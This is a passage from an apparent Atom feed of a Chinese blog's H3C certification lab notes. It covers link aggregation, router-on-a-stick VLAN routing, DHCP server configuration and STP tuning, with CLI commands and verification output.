</div></div><div><div><div>27</div></div><div><span>Aggregate Interface: Bridge-Aggregation1</span></div></div><div><div><div>28</div></div><div><span>Aggregation Mode: Static</span></div></div><div><div><div>29</div></div><div><span>Loadsharing Type: Shar</span></div></div><div><div><div>30</div></div><div><span><span>  </span></span><span>Port             Status  Priority Oper-Key</span></div></div><div><div><div>31</div></div><div><span>--------------------------------------------------------------------------------</span></div></div><div><div><div>32</div></div><div><span><span>  </span></span><span>GE1/0/1          S       32768    1</span></div></div><div><div><div>33</div></div><div><span><span>  </span></span><span>GE1/0/2          S       32768    1</span></div></div><div><div><div>34</div></div><div><span>[SW3]</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>DHCP地址分配验证：</strong> 查看PC1和PC2是否获取了IP地址</p><p><img alt="" loading="lazy" width="1181" height="775" src="/_astro/Pasted%20image%2020260827104803.Dujo6tK9_1f0He3.webp" /></p><p><img alt="" loading="lazy" width="1186" height="780" src="/_astro/Pasted%20image%2020260827104849.DynhqJXF_1LeKgy.webp" /></p><p><strong>连通性验证：</strong></p><p>让PC1 ping PC2和网关，发现能ping通：
<img alt="" loading="lazy" width="1444" height="811" src="/_astro/Pasted%20image%2020260827105100.DPk1tCku_13li7o.webp" />
让PC2 ping PC1和网关，发现能ping通：
<img alt="" loading="lazy" width="1444" height="811" src="/_astro/Pasted%20image%2020260827105153.CMKWz-GH_Z1q7hpX.webp" /></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268262%E5%8D%95%E8%87%82%E8%B7%AF%E7%94%B1%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">单臂路由实验</title>
      <published>2026-08-26T01:01:00.000Z</published>
      <updated>2026-08-26T01:01:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268262%E5%8D%95%E8%87%82%E8%B7%AF%E7%94%B1%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">单臂路由实验，涵盖 VLAN 创建、Trunk 端口配置、路由器子接口划分及 dot1q 封装，最终实现 Vlan10 与 Vlan20 间的跨 VLAN 通信。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1486" height="694" src="/_astro/Pasted%20image%2020260828165600.B9t_v2kt_Z1HC3dW.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示为 PC3 和 PC4 配置 IP 地址和网关</li>
<li>PC3 属于 Vlan10，PC4 属于 Vlan20，配置单臂路由实现 Vlan10 和 Vlan20 三层互通</li>
<li>PC3 和 PC4 可以互通</li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1.PC 配置 IP 地址部分略<a href="#1pc-配置-ip-地址部分略"><span>#</span></a></h4></section><section><h4>2.PC3 属于 Vlan10，PC4 属于 Vlan20，配置单臂路由实现 Vlan10 和 Vlan20 三层互通<a href="#2pc3-属于-vlan10pc4-属于-vlan20配置单臂路由实现-vlan10-和-vlan20-三层互通"><span>#</span></a></h4><blockquote><p><strong>分析：</strong> 用单臂路由实现 Vlan 间三层互通，需要把 SW2 连接 AR1 的接口配置为 Trunk，并允许 Vlan10 和 Vlan20 通过。</p><p>AR1 连接 SW2 的接口上要开启子接口，分别作为 Vlan10 和 Vlan20 的网关。这里规划 g0/0.1 子接口作为 Vlan10 的网关，IP 地址就是<code>192.168.1.254/24</code>，g0/0.2 子接口作为 Vlan20 的网关，IP 地址就是<code>192.168.2.254/24</code>。</p><p>AR1 的子接口上为了能够识别 SW2 的 Trunk 端口发送的 802.1Q 帧，还需要开启 dot1q 识别并绑定相应 Vlan。</p></blockquote><p><strong>步骤 1：</strong> 在 SW2 上创建 Vlan10 和 Vlan20，并把 g1/0/1 接口加入 Vlan10，把 g1/0/2 接口加入 Vlan20</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>vlan 10</span></div></div><div><div><div>2</div></div><div><span>port g1/0/1</span></div></div><div><div><div>3</div></div><div><span>vlan 20</span></div></div><div><div><div>4</div></div><div><span>port g1/0/2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>步骤 2：</strong> 把 SW2 的 g1/0/3 接口配置为 Trunk，并允许 Vlan10 和 Vlan20 通过</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface g1/0/3</span></div></div><div><div><div>2</div></div><div><span>port link-type trunk</span></div></div><div><div><div>3</div></div><div><span>port trunk permit vlan 10 20</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>步骤 3：</strong> 在 AR1 上创建子接口 g0/0.1，开启 dot1q 识别，绑定到 Vlan10，并配置 IP 地址 192.168.1.254/24</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface g0/0.1</span></div></div><div><div><div>2</div></div><div><span>vlan-type dot1q vid 10</span></div></div><div><div><div>3</div></div><div><span>ip address 192.168.1.254 24</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>步骤 4：</strong> 在 AR1 上创建子接口 0/0.2，开启 dot1q 识别，绑定到 Vlan20，并配置 IP 地址192.168.2.254/24</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface g0/0.2</span></div></div><div><div><div>2</div></div><div><span>vlan-type dot1q vid 20</span></div></div><div><div><div>3</div></div><div><span>ip address 192.168.2.254 24</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p><strong>分析：</strong> 配置结束后，在 AR1 上查看路由表，会发现已经产生了到达192.168.1.0/24网段和192.168.2.0/24网段的直连路由，出接口分别指向各自子接口，证明路由器已经可以对 Vlan10 和 Vlan20 间的数据进行三层转发了</p></blockquote><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[AR1]display ip routing-table</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>Destinations : 13       Routes : 13</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>Destination/Mask   Proto   Pre Cost        NextHop         Interface</span></div></div><div><div><div>6</div></div><div><span>0.0.0.0/32         Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>7</div></div><div><span>127.0.0.0/8        Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>8</div></div><div><span>127.0.0.1/32       Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>9</div></div><div><span>127.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>10</div></div><div><span>192.168.1.0/24     Direct  0   0           192.168.1.254   GE0/0.1</span></div></div><div><div><div>11</div></div><div><span>192.168.1.254/32   Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>12</div></div><div><span>192.168.1.255/32   Direct  0   0           192.168.1.254   GE0/0.1</span></div></div><div><div><div>13</div></div><div><span>192.168.2.0/24     Direct  0   0           192.168.2.254   GE0/0.2</span></div></div><div><div><div>14</div></div><div><span>192.168.2.254/32   Direct  0   0           127.0.0.1       InLoop0</span></div></div><div><div><div>15</div></div><div><span>192.168.2.255/32   Direct  0   0           192.168.2.254   GE0/0.2</span></div></div><div><div><div>16</div></div><div><span>224.0.0.0/4        Direct  0   0           0.0.0.0         NULL0</span></div></div><div><div><div>17</div></div><div><span>224.0.0.0/24       Direct  0   0           0.0.0.0         NULL0</span></div></div><div><div><div>18</div></div><div><span>255.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>3.测试在 PC3 上 Ping PC4 ，可以 Ping 通 PC4<a href="#3测试在-pc3-上-ping-pc4-可以-ping-通-pc4"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[H3C]ping 192.168.2.1</span></div></div><div><div><div>2</div></div><div><span>Ping 192.168.2.1 (192.168.2.1): 56 data bytes, press CTRL_C to break</span></div></div><div><div><div>3</div></div><div><span>56 bytes from 192.168.2.1: icmp_seq=0 ttl=254 time=10.313 ms</span></div></div><div><div><div>4</div></div><div><span>56 bytes from 192.168.2.1: icmp_seq=1 ttl=254 time=9.691 ms</span></div></div><div><div><div>5</div></div><div><span>56 bytes from 192.168.2.1: icmp_seq=2 ttl=254 time=8.030 ms</span></div></div><div><div><div>6</div></div><div><span>56 bytes from 192.168.2.1: icmp_seq=3 ttl=254 time=8.680 ms</span></div></div><div><div><div>7</div></div><div><span>56 bytes from 192.168.2.1: icmp_seq=4 ttl=254 time=8.871 ms</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>--- Ping statistics for 192.168.2.1 ---</span></div></div><div><div><div>10</div></div><div><span>5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss</span></div></div><div><div><div>11</div></div><div><span>round-trip min/avg/max/std-dev = 8.030/9.117/10.313/0.799 ms</span></div></div><div><div><div>12</div></div><div><span>[H3C]%Aug 28 16:59:51:153 2026 H3C PING/6/PING_STATISTICS: Ping statistics for 192.168.2.1: 5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss, round-trip min/avg/max/std-dev = 8.030/9.117/10.313/0.799 ms.</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268261dhcp-%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">DHCP 实验</title>
      <published>2026-08-26T01:00:00.000Z</published>
      <updated>2026-08-26T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268261dhcp-%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">通过路由器配置 DHCP 服务器，为局域网客户端自动分配 IP 地址的完整实验记录。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1313" height="710" src="/_astro/Pasted%20image%2020260826155711.Cke397p1_2f2yNg.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示为R1配置IP地址</li>
<li>配置R1为DHCP服务器，提供服务的地址池为<code>192.168.1.0/24</code>网段，网关为<code>192.168.1.254</code>，DNS服务器地址为<code>202.103.24.68</code>，<code>202.103.0.117</code></li>
<li><code>192.168.1.10-192.168.1.20</code>为专用地址段，要求不能用于自动分配</li>
<li>PC1和PC2都能获取到<code>192.168.1.0/24</code>网段的IP地址</li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1. 开启 DHCP 服务<a href="#1-开启-dhcp-服务"><span>#</span></a></h4><p>在系统视图下开启 DHCP 功能：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface GigabitEthernet0/0</span></div></div><div><div><div>2</div></div><div><span>ip address 192.168.1.254 255.255.255.0</span></div></div><div><div><div>3</div></div><div><span>quit</span></div></div><div><div><div>4</div></div><div><span>dhcp enable</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>#排除特定地址:为了防止某些 IP 被动态分配给普通客户端（比如保留给服务器），需要排除一段地址</span></div></div><div><div><div>7</div></div><div><span>dhcp server forbidden-ip 192.168.1.10 192.168.1.20</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>2. 创建 DHCP 地址池<a href="#2-创建-dhcp-地址池"><span>#</span></a></h4><p>创建名为 <code>1</code> 的地址池，并配置分配参数：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>dhcp server ip-pool 1</span></div></div><div><div><div>2</div></div><div><span>network 192.168.1.0 mask 255.255.255.0</span></div></div><div><div><div>3</div></div><div><span>gateway-list 192.168.1.254</span></div></div><div><div><div>4</div></div><div><span>dns-list 202.103.24.68 202.103.0.117</span></div></div><div><div><div>5</div></div><div><span>quit</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h3>验证与测试<a href="#验证与测试"><span>#</span></a></h3><p>配置完成后，将 PC1 和 PC2 的网络设置为“自动获取 IP 地址”（DHCP 方式）。
可以发现 PC1 和 PC2 正确获取IP地址：
<img alt="" loading="lazy" width="1193" height="708" src="/_astro/Pasted%20image%2020260826160407.B7hGbGVh_1oMBiE.webp" /></p><p><img alt="" loading="lazy" width="1160" height="718" src="/_astro/Pasted%20image%2020260826160440.DOnI60R1_ZjFmet.webp" /></p></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268253stp-%E7%94%9F%E6%88%90%E6%A0%91%E5%8D%8F%E8%AE%AE%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">STP生成树协议实验</title>
      <published>2026-08-25T07:00:00.000Z</published>
      <updated>2026-08-25T07:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268253stp-%E7%94%9F%E6%88%90%E6%A0%91%E5%8D%8F%E8%AE%AE%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">通过 HCL 模拟器配置 STP 生成树协议，观察根网桥选举与阻塞端口变化，并配置边缘端口加快收敛的实验记录。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="850" height="487" src="/_astro/Pasted%20image%2020260828163231.qlF4e3kt_1B6knu.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ul>
<li>开启所有设备，等待 STP 收敛后观察 STP 状态</li>
<li>使 SW4 成为根网桥</li>
<li>使闭塞端口出现在 SW2 上</li>
<li>把 SW1 上连接的 PC 的端口配置为边缘端口</li>
</ul></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1. 等待 STP 收敛后，查看 STP 运行状态，找出根网桥与闭塞端口<a href="#1-等待-stp-收敛后查看-stp-运行状态找出根网桥与闭塞端口"><span>#</span></a></h4><p><strong>分析</strong>：根据 HCL 模拟器的运行机制，SW1 的 MAC 地址最小，会成为根网桥。</p><p><strong>步骤1</strong>：在 SW1 上查看 STP 运行状态，确认 SW1 为根网桥。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW1]dis stp</span></div></div><div><div><div>2</div></div><div><span>-------[CIST Global Info][Mode MSTP]-------</span></div></div><div><div><div>3</div></div><div><span><span> </span></span><span>Bridge ID           : 32768.908d-e11e-0100</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>Bridge times        : Hello 2s MaxAge 20s FwdDelay 15s MaxHops 20</span></div></div><div><div><div>5</div></div><div><span><span> </span></span><span>Root ID/ERPC        : 32768.908d-e11e-0100, 0</span></div></div><div><div><div>6</div></div><div><span><span> </span></span><span>RegRoot ID/IRPC     : 32768.908d-e11e-0100, 0</span></div></div><div><div><div>7</div></div><div><span><span> </span></span><span>RootPort ID         : 0.0</span></div></div><div><div><div>8</div></div><div><span><span> </span></span><span>BPDU-Protection     : Disabled</span></div></div><div><div><div>9</div></div><div><span><span> </span></span><span>Bridge Config-</span></div></div><div><div><div>10</div></div><div><span><span> </span></span><span>Digest-Snooping     : Disabled</span></div></div><div><div><div>11</div></div><div><span><span> </span></span><span>TC or TCN received  : 7</span></div></div><div><div><div>12</div></div><div><span><span> </span></span><span>Time since last TC  : 0 days 0h:6m:12s</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>步骤2</strong>：根据 STP 计算机制，所有链路开销一致时，闭塞端口应出现在 SW4 上。在 SW4 上查看端口状态，确认 SW4 的 <code>g1/0/2</code> 被阻塞。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW4]dis stp brief</span></div></div><div><div><div>2</div></div><div><span><span> </span></span><span>MST ID   Port                                Role  STP State   Protection</span></div></div><div><div><div>3</div></div><div><span><span> </span></span><span>0        GigabitEthernet1/0/1                ROOT  FORWARDING  NONE</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>0        GigabitEthernet1/0/2                ALTE  DISCARDING  NONE</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>2. 使 SW4 成为新的根网桥<a href="#2-使-sw4-成为新的根网桥"><span>#</span></a></h4><p><strong>分析</strong>：要使 SW4 成为根网桥，需将其优先级改为全网最小。默认优先级均为 32768，将 SW4 的优先级改为 4096 即可。</p><p><strong>步骤1</strong>：修改 SW4 的优先级为 4096。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW4]stp priority 4096</span></div></div><div><div><div>2</div></div><div><span>[SW4]%Aug 26 16:33:54:232 2026 SW4 STP/6/STP_DETECTED_TC: Instance 0's port GigabitEthernet1/0/2 detected a topology change.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>步骤2</strong>：在 SW4 上查看 STP 运行状态，确认 SW4 已成为新的根网桥。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW4]display stp</span></div></div><div><div><div>2</div></div><div><span>-------[CIST Global Info][Mode MSTP]-------</span></div></div><div><div><div>3</div></div><div><span><span> </span></span><span>Bridge ID           : 4096.908d-ea02-0400</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>Bridge times        : Hello 2s MaxAge 20s FwdDelay 15s MaxHops 20</span></div></div><div><div><div>5</div></div><div><span><span> </span></span><span>Root ID/ERPC        : 4096.908d-ea02-0400, 0</span></div></div><div><div><div>6</div></div><div><span><span> </span></span><span>RegRoot ID/IRPC     : 4096.908d-ea02-0400, 0</span></div></div><div><div><div>7</div></div><div><span><span> </span></span><span>RootPort ID         : 0.0</span></div></div><div><div><div>8</div></div><div><span><span> </span></span><span>BPDU-Protection     : Disabled</span></div></div><div><div><div>9</div></div><div><span><span> </span></span><span>Bridge Config-</span></div></div><div><div><div>10</div></div><div><span><span> </span></span><span>Digest-Snooping     : Disabled</span></div></div><div><div><div>11</div></div><div><span><span> </span></span><span>TC or TCN received  : 6</span></div></div><div><div><div>12</div></div><div><span><span> </span></span><span>Time since last TC  : 0 days 0h:0m:32s</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>3. 使闭塞端口出现在 SW2 上<a href="#3-使闭塞端口出现在-sw2-上"><span>#</span></a></h4><p><strong>分析</strong>：SW4 成为根网桥后，按照 STP 计算机制，闭塞端口此时应在 SW1 上。要使闭塞端口转移到 SW2 上，需让 <strong>SW2 到 SW1 的路径开销</strong> 大于 <strong>SW4 到 SW1 的路径开销</strong>。H3C 交换机千兆口的默认开销为 20，可将 SW2 的 <code>g1/0/2</code> 接口开销改为 1000。</p><p><strong>步骤1</strong>：在 SW2 上进入 <code>g1/0/2</code> 接口视图，修改 STP Cost 为 1000。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW2]interface g1/0/2</span></div></div><div><div><div>2</div></div><div><span>[SW2-GigabitEthernet1/0/2]stp cost 1000</span></div></div><div><div><div>3</div></div><div><span>[SW2-GigabitEthernet1/0/2]%Aug 26 16:38:27:908 2026 SW2 STP/6/STP_NOTIFIED_TC: Instance 0's port GigabitEthernet1/0/1 was notified a topology change.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>步骤2</strong>：在 SW2 上查看 STP 接口状态，确认 <code>g1/0/2</code> 已成为新的阻塞端口。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW2-GigabitEthernet1/0/2]display stp brief</span></div></div><div><div><div>2</div></div><div><span><span> </span></span><span>MST ID   Port                                Role  STP State   Protection</span></div></div><div><div><div>3</div></div><div><span><span> </span></span><span>0        GigabitEthernet1/0/1                ROOT  FORWARDING  NONE</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>0        GigabitEthernet1/0/2                ALTE  DISCARDING  NONE</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>4. 把 SW1 连接 PC 的所有接口配置为边缘端口<a href="#4-把-sw1-连接-pc-的所有接口配置为边缘端口"><span>#</span></a></h4><p><strong>分析</strong>：连接终端的端口应配置为边缘端口，以加快收敛速度并避免不必要的拓扑变化通知。</p><p><strong>步骤1</strong>：在 SW1 上进入连接 PC 的接口（<code>g1/0/3</code> 和 <code>g1/0/4</code>），配置为边缘端口。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW1]interface g1/0/3</span></div></div><div><div><div>2</div></div><div><span>[SW1-GigabitEthernet1/0/3]stp edged-port</span></div></div><div><div><div>3</div></div><div><span>Edge port should only be connected to terminal. It will cause temporary loops if port GigabitEthernet1/0/3 is connected to bridges. Please use it carefully.</span></div></div><div><div><div>4</div></div><div><span>[SW1-GigabitEthernet1/0/3]interface g1/0/4</span></div></div><div><div><div>5</div></div><div><span>[SW1-GigabitEthernet1/0/4]stp edged-port</span></div></div><div><div><div>6</div></div><div><span>Edge port should only be connected to terminal. It will cause temporary loops if port GigabitEthernet1/0/4 is connected to bridges. Please use it carefully.</span></div></div><div><div><div>7</div></div><div><span>[SW1-GigabitEthernet1/0/4]</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268252%E9%93%BE%E8%B7%AF%E8%81%9A%E5%90%88%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">链路聚合实验</title>
      <published>2026-08-25T04:00:00.000Z</published>
      <updated>2026-08-25T04:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268252%E9%93%BE%E8%B7%AF%E8%81%9A%E5%90%88%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">通过配置链路聚合实现交换机之间的链路冗余与带宽提升。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1200" height="480" src="/_astro/Pasted%20image%2020260825162000.aX9qVi59_18bTkO.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ul>
<li>按照图示配置 PC3 和 PC4 的 IP 地址</li>
<li>在 SW1 和 SW2 的两条直连链路上配置链路聚合，实现链路冗余，并可以增加传输带宽</li>
<li>SW1 和 SW2 之间的直连链路要配置为 Trunk 类型，允许所有 VLAN 通过</li>
<li>中断 SW1 和 SW2 之间的一条直连链路，测试 PC3 和 PC4 是否仍然能够继续访问</li>
</ul></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>1. PC 配置 IP 地址（略）<a href="#1-pc-配置-ip-地址略"><span>#</span></a></h4></section><section><h4>2. 在 SW1 和 SW2 的直连链路上配置链路聚合<a href="#2-在-sw1-和-sw2-的直连链路上配置链路聚合"><span>#</span></a></h4><p><strong>分析</strong>：SW1 和 SW2 之间通过 <code>g1/0/1</code> 和 <code>g1/0/2</code> 接口直连，需要在两台交换机上分别创建聚合接口，并把 <code>g1/0/1</code> 和 <code>g1/0/2</code> 接口加入到聚合接口，形成链路聚合。被聚合的物理接口的 VLAN 配置和接口类型要保持一致，所以在配置链路聚合前，物理端口不要做任何其他配置，保持默认状态即可。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>交换机1的配置：</span></div></div><div><div><div>2</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>3</div></div><div><span>interface g1/0/1</span></div></div><div><div><div>4</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>5</div></div><div><span>interface g1/0/2</span></div></div><div><div><div>6</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>交换机2的配置：</span></div></div><div><div><div>9</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>10</div></div><div><span>interface g1/0/1</span></div></div><div><div><div>11</div></div><div><span>port link-aggregation group 1</span></div></div><div><div><div>12</div></div><div><span>interface g1/0/2</span></div></div><div><div><div>13</div></div><div><span>port link-aggregation group 1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>查看链路聚合状态，确认已成功运行（下面以交换机1为例）：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[SW1-GigabitEthernet1/0/1]display link-aggregation verbose</span></div></div><div><div><div>2</div></div><div><span>Loadsharing Type: Shar -- Loadsharing, NonS -- Non-Loadsharing</span></div></div><div><div><div>3</div></div><div><span>Port: A -- Auto</span></div></div><div><div><div>4</div></div><div><span>Port Status: S -- Selected, U -- Unselected, I -- Individual</span></div></div><div><div><div>5</div></div><div><span>Flags:  A -- LACP_Activity, B -- LACP_Timeout, C -- Aggregation,</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>D -- Synchronization, E -- Collecting, F -- Distributing,</span></div></div><div><div><div>7</div></div><div><span><span>        </span></span><span>G -- Defaulted, H -- Expired</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>Aggregate Interface: Bridge-Aggregation1</span></div></div><div><div><div>10</div></div><div><span>Aggregation Mode: Static</span></div></div><div><div><div>11</div></div><div><span>Loadsharing Type: Shar</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>Port             Status  Priority Oper-Key</span></div></div><div><div><div>13</div></div><div><span>--------------------------------------------------------------------------------</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>GE1/0/1          S       32768    1</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>GE1/0/2          S       32768    1</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>3. SW1 和 SW2 之间的直连链路配置为 Trunk，允许所有 VLAN 通过<a href="#3-sw1-和-sw2-之间的直连链路配置为-trunk允许所有-vlan-通过"><span>#</span></a></h4><p><strong>分析</strong>：物理接口加入到聚合接口后，会自动继承聚合接口的 VLAN 相关配置，所以不需要在物理接口上分别配置 Trunk，只需要在聚合接口下配置 Trunk 即可。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>交换机1的配置：</span></div></div><div><div><div>2</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>3</div></div><div><span>port link-type trunk</span></div></div><div><div><div>4</div></div><div><span>port trunk permit vlan all</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>交换机2的配置：</span></div></div><div><div><div>7</div></div><div><span>interface Bridge-Aggregation 1</span></div></div><div><div><div>8</div></div><div><span>port link-type trunk</span></div></div><div><div><div>9</div></div><div><span>port trunk permit vlan all</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>4. 中断一条直连链路，测试连通性<a href="#4-中断一条直连链路测试连通性"><span>#</span></a></h4><p><strong>分析</strong>：链路聚合会自动把 SW1 和 SW2 之间的流量进行负载均衡，某一条链路中断连接后，仍然还有另外一条链路可以继续通讯，所以 PC3 和 PC4 可以继续访问。</p><p><strong>步骤1</strong>：进入 SW1 的 <code>g1/0/1</code> 接口视图，使用 <code>shutdown</code> 命令关闭接口。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>interface g1/0/1</span></div></div><div><div><div>2</div></div><div><span>shutdown</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1397" height="760" src="/_astro/Pasted%20image%2020260825161217.CD4n_aim_ZKnQL3.webp" />
<strong>步骤2</strong>：测试结果，PC1 仍然可以 Ping 通 PC2。
<img alt="" loading="lazy" width="1397" height="760" src="/_astro/Pasted%20image%2020260825161156.DlCZN_qn_1ROSub.webp" /></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/20268251vlan%E9%85%8D%E7%BD%AE%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">VLAN配置实验</title>
      <published>2026-08-25T01:00:00.000Z</published>
      <updated>2026-08-25T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/20268251vlan%E9%85%8D%E7%BD%AE%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">通过三台 H3C 交换机配置 VLAN 隔离和 Trunk 中继，实现跨交换机的相同 VLAN 互通。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1536" height="625" src="/_astro/Pasted%20image%2020260825105210.BP53lPa7_Z2qkJVf.webp" /></p></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按图示为PC配置IP地址</li>
<li>SW1和SW2上分别创建vlan10和vlan20，要求PC3和PC5属于vlan10，PC4和PV6属于vlan20</li>
<li>SW1和SW2相连的接口配置为trunk类型，允许vlan10和vlan20通过</li>
<li>测试效果，同一vlan的PC可以互通，不同vlan的PC无法互通</li>
</ol></section>
